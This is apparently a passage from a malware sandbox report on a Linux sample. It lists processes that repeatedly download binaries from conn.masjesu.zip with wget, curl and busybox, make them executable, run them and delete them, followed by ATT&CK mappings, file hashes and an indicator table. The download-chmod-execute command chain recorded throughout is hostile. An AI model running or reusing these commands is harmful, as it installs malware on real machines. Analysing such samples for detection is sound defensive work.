- /tmp/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  ./XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  PID:968
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - System Network Configuration Discovery
  PID:969
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - System Network Configuration Discovery
  PID:972
- /bin/chmod
  chmod 777 QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  ./QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  PID:975
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  - System Network Configuration Discovery
  PID:976
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  PID:979
- /bin/chmod
  chmod 777 D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  ./D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  PID:982
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - System Network Configuration Discovery
  PID:983
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - System Network Configuration Discovery
  PID:986
- /bin/chmod
  chmod 777 ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  ./ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  PID:989
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  PID:990
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:991
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  - System Network Configuration Discovery
  PID:993
- /bin/chmod
  chmod 777 Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /tmp/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  ./Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  - Executes dropped EXE
  PID:995
- /bin/rm
  rm Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  PID:996
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  - System Network Configuration Discovery
  PID:997
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:998
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /bin/chmod
  chmod 777 a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  - File and Directory Permissions Modification
  PID:1001
- /tmp/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  ./a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  - Executes dropped EXE
  PID:1002
- /bin/rm
  rm a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  PID:1003
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  PID:1004
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1005
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /bin/chmod
  chmod 777 9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  - File and Directory Permissions Modification
  PID:1008
- /tmp/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  ./9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  - Executes dropped EXE
  PID:1009
- /bin/rm
  rm 9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  PID:1010

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE

Path /tmp/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE	742	ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
/tmp/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g	761	Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
/tmp/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7	794	a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
/tmp/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln	808	9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
/tmp/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv	819	D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
/tmp/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah	855	OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
/tmp/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp	862	h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
/tmp/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY	869	SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
/tmp/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT	876	PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
/tmp/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i	883	2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
/tmp/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I	890	zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
/tmp/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn	897	hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
/tmp/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5	904	QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
/tmp/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn	911	XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
/tmp/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT	918	PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
/tmp/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah	925	OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
/tmp/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp	932	h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
/tmp/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY	939	SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
/tmp/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn	946	hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
/tmp/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i	953	2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
/tmp/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I	960	zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
/tmp/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn	967	XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
/tmp/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5	974	QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
/tmp/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv	981	D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
/tmp/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE	988	ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
/tmp/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g	995	Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
/tmp/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7	1002	a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
/tmp/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln	1009	9WwHNWXNshvnrpYvmov21fWu1RloUIYIln